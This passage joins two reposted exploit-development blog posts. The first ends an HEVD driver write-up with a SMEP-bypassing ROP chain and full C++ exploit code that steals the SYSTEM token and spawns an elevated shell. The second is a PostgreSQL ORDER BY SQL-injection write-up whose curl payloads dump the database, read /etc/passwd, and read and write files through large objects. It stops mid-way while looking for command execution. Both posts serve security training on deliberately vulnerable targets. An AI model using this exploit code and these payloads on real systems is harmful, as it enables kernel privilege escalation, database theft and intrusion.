exists inside of nt!HvlEndSystemInterrupt. We can find it in WinDBG with the following: kd> uf HvlEndSystemInterrupt nt!HvlEndSystemInterrupt: fffff800`10dc1560 4851 push rcx fffff800`10dc1562 50 push rax fffff800`10dc1563 52 push rdx fffff800`10dc1564 65488b142588610000 mov rdx,qword ptr gs:[6188h] fffff800`10dc156d b970000040 mov ecx,40000070h fffff800`10dc1572 0fba3200 btr dword ptr [rdx],0 fffff800`10dc1576 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff800`10dc157e) nt!HvlEndSystemInterrupt+0x18: fffff800`10dc1578 33c0 xor eax,eax fffff800`10dc157a 8bd0 mov edx,eax fffff800`10dc157c 0f30 wrmsr nt!HvlEndSystemInterrupt+0x1e: fffff800`10dc157e 5a pop rdx fffff800`10dc157f 58 pop rax fffff800`10dc1580 59 pop rcx // Gadget at offset from nt: +0x146580 fffff800`10dc1581 c3 ret As Abatchy did, I’ve added a comment so you can see the gadget we’re after. We want this: pop rcx ret routine because if we can place an arbitrary value into rcx, there is a second gadget which allows us to mov cr4, rcx and then we’ll have everything we need. Gadget 2 is nested within the KiEnableXSave kernel routine as follows (with some snipping) in WinDBG: kd> uf nt!KiEnableXSave nt!KiEnableXSave: ---SNIP--- nt! ?? ::OKHAJAOM::`string'+0x32fc: fffff800`1105142c 480fbaf112 btr rcx,12h fffff800`11051431 0f22e1 mov cr4,rcx // Gadget at offset from nt: +0x3D6431 fffff800`11051434 c3 ret So with these two gadgets locations known to us, as in, we know their offsets relative to the kernel base, we can now implement them in our code. So to be clear, our payload that we’ll be sending will look like this when we overwrite the stack: ‘A’ characters * 2056 our pop rcx gadget The value we want rcx to hold our mov cr4, rcx gadget pointer to our shellcode. So for those following along at home, we will overwrite rip with our first gadget, it will pop the first 8 byte value on the stack into rcx. What value is that? Well, it’s the value that we want cr4 to hold eventually and we can simply place it onto the stack with our stack overflow. So we will pop that value into rcx and then the gadget will hit a ret opcode which will send the rip to our second gadget which will mov cr4, rcx so that cr4 now holds the SMEP-disabled value we want. The gadget will then hit a ret opcode and return rip to where? To a pointer to our userland shellcode that it will now run seemlessly because SMEP is disabled. You can see this implemented in code here: BYTE input_buff[2088] = { 0 }; INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1 cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl; INT64 rcx_value = 0x70678; // value we want placed in cr4 INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2 cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl; memset(input_buff, '\x41', 2056); memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode CR4 Value Again, just following along with Abatchy, I’ll go ahead and place the value 0x70678 into cr4. In binary, 1110000011001111000 which would mean that the 20th bit, the SMEP bit, is set to 0. You can read more about what values to input here on j00ru’s blog post about SMEP. So if cr4 holds this value, SMEP should be disabled. Restoring Execution The hardest part of this exploit for me was restoring execution after the shellcode ran. Unfortunately, our exploit overwrites several register values and corrupts our stack quite a bit. When my shellcode is done running (not really my shellcode, its borrowed from @Cneelis), this is what my callstack looked like along with my stack memory values: Restoring execution will always be pretty specific to what version of HEVD you’re using and also perhaps what build of Windows you’re on as the some of the kernel routines will change, so I won’t go too much in depth here. But, what I did to figure out why I kept crashing so much after returning to the address in the screenshot of HEVD!IrpDeviceIoCtlHandler+0x19f which is located in the right hand side of the screenshot at ffff9e8196b99158, is that rsi is typically zero’d out if you send regular sized buffers to the driver routine. So if you were to send a non-overflowing buffer, and put a breakpoint at nt!IopSynchronousServiceTail+0x1a0 (which is where rip would return if we took a ret out our address of ffff9e8196b99158), you would see that rsi is typically 0 when normally system service routines are exiting so when I returned, I had to have an rsi value of 0 in order to stop from getting an exception. I tried just following the code through until I reached an exception with a non-zero rsi but wasn’t able to pinpoint exactly where the fault occurs or why. The debug information I got from all my bugchecks didn’t bring me any closer to the answer (probably user error). I noticed that if you don’t null out rsi before returning, rsi wouldn’t be referenced in any way until a value was popped into it from the stack which happened to be our IOCTL code, so this confused me even more. Anyways, my hacky way of tracing through normally sized buffers and taking notes of the register values at the same point we return to out of our shellcode did work, but I’m still unsure why ?. Conclusion All in all, the ROP chain to disable SMEP via cr4 wasn’t too complicated, this could even serve as introduction to ROP chains for some in my opinion because as far as ROP chains go this is fairly straightforward; however, restoring execution after our shellcode was a nightmare for me. A lot of time wasted by misinterpreting the callstack readouts from WinDBG (a lesson learned). As @ihack4falafel says, make sure you keep an eye on @rsp in your memory view in WinDBG anytime you are messing with the stack. Exploit code here. Thanks again to all the bloggers who got me through the HEVD exploits: FuzzySec r0oki7 Tekwizz123 Abatchy everyone else I’ve referenced in previous posts! Huge thanks to HackSysTeam for developing the driver for us to all practice on, can’t wait to tackle it on Linux! #include <iostream> #include <string> #include <Windows.h> using namespace std; #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" #define IOCTL 0x222003 typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); HANDLE grab_handle() { HANDLE hFile = CreateFileA(DEVICE_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT64)hFile << endl; return hFile; } void send_payload(HANDLE hFile, INT64 kernel_base) { cout << "[>] Allocating RWX shellcode..." << endl; // slightly altered shellcode from // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c // thank you @Cneelis BYTE shellcode[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) "\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 2f0h] ; ActiveProcessLinks list head "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list //find_system_proc: "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process "\x74\x05" // jz found_system ; Found SYSTEM token "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer "\xEB\xF1" // jmp find_system_proc ; Loop //found_system: "\x48\x8B\x41\x68" // mov rax, [rcx + 68h] ; Offset from ActiveProcessLinks to Token "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure "\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token "\x48\x83\xC4\x40" // add rsp, 040h "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS "\xc3"; LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_addr, shellcode, sizeof(shellcode)); cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr << endl; BYTE input_buff[2088] = { 0 }; INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1 cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl; INT64 rcx_value = 0x70678; // value we want placed in cr4 INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2 cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl; memset(input_buff, '\x41', 2056); memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode // keep this here for testing so you can see what normal buffers do to subsequent routines // to learn from for execution restoration /* BYTE input_buff[2048] = { 0 }; memset(input_buff, '\x41', 2048); */ cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl; DWORD bytes_ret = 0x0; cout << "[>] Sending payload..." << endl; int result = DeviceIoControl(hFile, IOCTL, input_buff, sizeof(input_buff), NULL, 0, &bytes_ret, NULL); if (!result) { cout << "[!] DeviceIoControl failed!" << endl; } } INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp //also using the same import technique that @tekwizz123 showed us PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase; } void spawn_shell() { cout << "[>] Spawning nt authority/system shell..." << endl; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); STARTUPINFOA si; ZeroMemory(&si, sizeof(si)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } int main() { HANDLE hFile = grab_handle(); INT64 kernel_base = get_kernel_base(); send_payload(hFile, kernel_base); spawn_shell(); } Tags: Drivers Exploit Dev Shellcoding SMEP Windows 10 x64 Updated: May 04, 2020 Sursa: https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#

SQL INJECTION AND POSTGRES - AN ADVENTURE TO EVENTUAL RCE by Denis Andzakovic May 5 2020 An SQL injection bug in an ORDER BY clause came up in a recent engagement, which lead to an interesting rabbit hole regarding exploiting SQLi against a PostgreSQL database. This post details some of that adventure. We’ll look at some useful Postgres functions to make exploiting SQLi easier, some interesting file read/write primitives and a path to command execution as the DB user. I’ve included some sample vulnerable code for those of you that want to try this stuff out first hand. I ended up helping one of my Pulse comrades with this injection sink (and then a ‘hey hows it going’ message in the company chat spiralled into, well, this). The database user was a superuser, but without the ability to execute any CREATE/UPDATE/INSERT/DELETE statements from inside a SELECT query, most of the commonly documented methods for further exploitation weren’t available to us. The solution? Dump all the function definitions from Postgres, download the source code and start digging! There’s likely way more interesting stuff inside Postgres, so I’ve included some of my function-finding-and-digging notes at the end. THE BUG I’ve replicated the issue we came across during the engagement in a vulnerable Flask app included at the bottom of this page. I’m a fan of replicating issues with test code, that way I can trawl through logs, run debuggers and have much greater visibility over what’s going on. Once the exploit has been figured out, it can then be launched against the real-life target. In this case, the bug was an SQL injection sink in a parameter that was meant to provide either the ASC or DESC definition for the ORDER BY part of the query. The following snippet shows the bug: cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain') The order parameter is checked against a whitelist, but the sort parameter is not, which results in our injection. Errors are returned in the HTTP response, which is going to make exploitation a whole bunch easier (more on this soon!). By passing order=id&sort=%27, we get the following that confirms the injection: :~$ curl "127.0.0.1:5000/?order=id&sort=%27" ERROR: unterminated quoted string at or near "'" LINE 1: select * from animals order by id ' Marvelous. Note, the original bug we found didn’t allow stacked queries, my Flask+psycopg2 analog does. This post wont look at exploiting query-stacking, given that being able to stack queries means we are no longer confined to a SELECT statement, which gives us the ability to CREATE and INSERT our little hacker hearts away. I’ll have to ask for some suspension-of-disbelief on this one. INJECTION IN ORDER BY Now that we understand the injection point, we need to craft a payload that we can use to pull information out of the database. Let’s look at two ways to achieve that, with response discrepancy and with data exfiltration via error messages. RESPONSE DISCREPANCY The ORDER BY clause allows you to order by multiple columns, provided you separate them by a comma. For example, ORDER BY id, name will order by id, then by name. Postgres allows you to use CASE statements within the ORDER BY clause, which we can leverage to execute a query and test the result. The query we’re after would look something like this: SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END) If the statement is true, the results will be ordered by note, then note (no change to ordering). If the statement is false, then the results will be ordered by name then id. An important side note. It’s important to ensure the first ORDER BY clause is a column that isn’t unique across all rows. Meaning, it needs to order by a value that’s the same for at least two rows. If the first ORDER BY column is unique in every row, then Postgres will not execute the second order clause! Here’s what that practically looks like: And when its false: You can change that SELECT statement to pull out or whatever data, sub-string it, and test the result character-by-character. This kind of blind injection is documented all over the web, so I won’t be going into that here. Given that we have error messages being returned to us though, there is an easier option. ERROR MESSAGE EXFIL Running seventeen bazillion queries against a SQLi sink is fun and all, but since error messages are returned we can use that instead. By purposefully messing up a CAST, we can get query results via the error message. The payload would look something like this: SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC) And the complete injection string, note that in this case the precedence of our ORDER BY parameters doesn’t matter, the CAST executes regardless so specifying any valid column for order works: $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit" Here’s where things get a little tricky, watch what happens when we try a query that returns more than one row: $ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: subquery must return only one column LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ... Wamp. At this point you could use the LIMIT clause, but there is a quicker way. Which leads us too… POSTGRES XML FUNCTIONS Postgres includes some handy dandy XML helpers. If we grep all the available Postgres functions and search for xml, we get the following: xml_in xml_out xmlcomment xml xmlvalidate xml_recv xml_send xmlconcat2 xmlagg table_to_xml query_to_xml cursor_to_xml table_to_xmlschema query_to_xmlschema cursor_to_xmlschema table_to_xml_and_xmlschema query_to_xml_and_xmlschema schema_to_xml schema_to_xmlschema schema_to_xml_and_xmlschema database_to_xml database_to_xmlschema database_to_xml_and_xmlschema xmlexists xml_is_well_formed xml_is_well_formed_document xml_is_well_formed_content We’re going to look at two of these a bit closer, query_to_xml and database_to_xml. QUERY_TO_XML query_to_xml executes a query then returns the result as an XML object. The bonus here is that it will return a single row. So we chain that with the error-based SQLi we discussed earlier and hey presto, execute any SQL statement and retrieve the result, without having to worry about limits or multiple rows. First we need to figure out how to call it. In this case, query_to_xml(query text, nulls boolean, tableforest boolean, targetns text). Or, as part of our injection payload: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>postgres</usename> <usesysid>10</usesysid> <usecreatedb>true</usecreatedb> <usesuper>true</usesuper> <userepl>true</userepl> <usebypassrls>true</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>testuser</usename> <usesysid>16385</usesysid> <usecreatedb>false</usecreatedb> <usesuper>true</usesuper> <userepl>false</userepl> <usebypassrls>false</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> Glorious. Also, note that the Postgres user that we’re connecting as is a super user, that’s going to come in handy shortly. DATABASE_TO_XML We can also use the xml helpers to dump the entire DB with a single query. Ok, so fair warning, on a big database or any kind of production app, you probably don’t want to do this. But with that out of the way, here’s how you dump the entire database using a single query from inside an error-based SQLi. When we did this against the real-world app (in a test environment!), we ended up with a 150MB xml file. So use caution. Anyway, what you want is database_to_xml(true,true,''). Here’s what that looks like: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <public> <animals> <id>1</id> <name>dog</name> <note>is a good dog</note> <created_on>2020-05-04T14:40:16.909665</created_on> </animals> <animals> <id>2</id> <name>cat</name> <note>adorable, if passive aggressive</note> <created_on>2020-05-04T14:40:16.915896</created_on> </animals> <animals> <id>3</id> <name>fish</name> <note>fish go blub</note> <created_on>2020-05-04T14:40:16.918411</created_on> </animals> <animals> <id>4</id> <name>whale</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.920589</created_on> </animals> <animals> <id>5</id> <name>shrimp</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.92258</created_on> </animals> <animals> <id>6</id> <name>giraffe</name> <note>long neck, neato spots</note> <created_on>2020-05-04T14:40:16.924759</created_on> </animals> <animals> <id>7</id> <name>rock</name> <note>TICKET 1143 rock is not animal</note> <created_on>2020-05-04T14:40:16.926717</created_on> </animals> <secrets> <id>1</id> <name>some-secret</name> <secret_info>super secret info in the db</secret_info> </secrets> </public> </testdb> " If you’d like to be more subtle, use database_to_xmlschema to figure out the DB structure, then query_to_xml to pull just what you need. FILE READ AND WRITE Since our user is a super user, we can read and write files to any location on the file-system using Postgres’ large objects. But first, a note on some of the more widely documented techniques for file read and dir listing. PG_LS_DIR AND PG_READ_FILE CHANGES pg_ls_dir and pg_read_file are detailed in various Postgres SQLi cheatsheets. These methods did not allow absolute paths in prior versions of Postgres, but as of this commit, members of the DEFAULT_ROLE_READ_SERVER_FILES group and super users can use these methods on any path (check out convert_and_check_filename in genfile.c). Unfortunately, the target-app-in-real-life was running on an older version of Postgres, so no global file read and directory listing. Our demo analog app is on Debian 10 with Postgres 11 installed via apt, and is connecting as a super user, so no problem: $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>vmlinuz.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>srv</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>initrd.img.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>proc</pg_ls_dir> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>var</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>dev</pg_ls_dir> </row> $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...snip... postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash " READING AND WRITING FILES WITH LARGE OBJECTS Postgres large objects provide a mechanism to store data, as well as read and write things from the file-system. Looking at our function list, we can see the following methods: lo_close lo_creat lo_create lo_export lo_from_bytea lo_get lo_import lo_lseek lo_lseek64 lo_open lo_put lo_tell lo_tell64 lo_truncate lo_truncate64 lo_unlink We’re going to be focusing on lo_import and lo_export to read and write files, respectively. The two tables that data ends up in is pg_largeobject and pg_largeobject_metadata. These methods are run inside a transaction block, meaning that the request has to be successful and not roll back. So no error-based SQLi, we need an SQLi payload the executes successfully. FILE READ WITH LO_IMPORT lo_import allows you to specify a file-system path. The file will be read and loaded into a large object, with the OID of the object returned. Using query_to_xml, we can request the pg_largeobject able and pull the data out, neatly base64-ed by the XML function. So to load /etc/passwd, we’d using the following payload: , (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END) $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)" <h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip... We get a legitimate application response, no error. Now the /etc/passwd file should be waiting for us in the pg_largeobject table: $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <loid>16437</loid> <pageno>0</pageno> <data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91 c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0 OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6 L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5 OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1 c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data> </row> Awesome. You could also use the lo_get method and the OID above, if you were so inclined. FILE WRITE WITH LO_EXPORT lo_export takes a large object OID and a path, writing the file out to the path as the database user (postgres, in my case). I’m going to reuse the large object OID we created in the previous step to test this. The payload will be: , (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END) $ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)" $ ls -l /dev/shm/ total 12 -rw------- 1 postgres postgres 6928 May 1 16:43 PostgreSQL.1150217542 -rw-r--r-- 1 postgres postgres 1601 May 4 17:53 testing Arbitrary file write can be performed by using lo_from_bytea to create a large object with a specified byte array, for example: select lo_from_bytea(0,'this is a test file with test bytes'); Now the question becomes ‘what can we write to the file-system as the postgres user to achieve code execution’? Were the DB and the web server on the same host that might open up some options, but in this case we had a standalone DB server. CLEANING UP LARGE OBJECTS Large objects can be removed using the select lo_unlink(OID) command. Running a select * from pg_largeobject and removing any objects you’ve created is going to be a good step to add to you engagement-clean-and-wrap-up routine. COMMAND EXECUTION - JUST STRAIGHT-UP OVERWRITE THE CONFIG FILE One of the things that came to mind was to look for an option in a config file that the postgres user can write that will let us specify an arbitrary command that’ll get executed… somewhere. Double-checking that the config file is indeed owned by postgres: $ ls -l /etc/postgresql/11/main/postgresql.conf -rw-r--r-- 1 postgres postgres 24194 May 1 16:31 /etc/postgresql/11/main/postgresql.conf Dumping all the configuration options and looking for command showed the following: testdb=# select name, short_desc from pg_settings where name like '%command%' ; name | short_desc ----------------------------------------+------------------------------------------------------------------- archive_command | Sets the shell command that will be called to archive a WAL file. log_replication_commands | Logs each replication command. ssl_passphrase_command | Command to obtain passphrases for SSL. ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload. (4 rows) ssl_passphrase_command looks hopefull, lets check that out in the config file: # - SSL - ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL 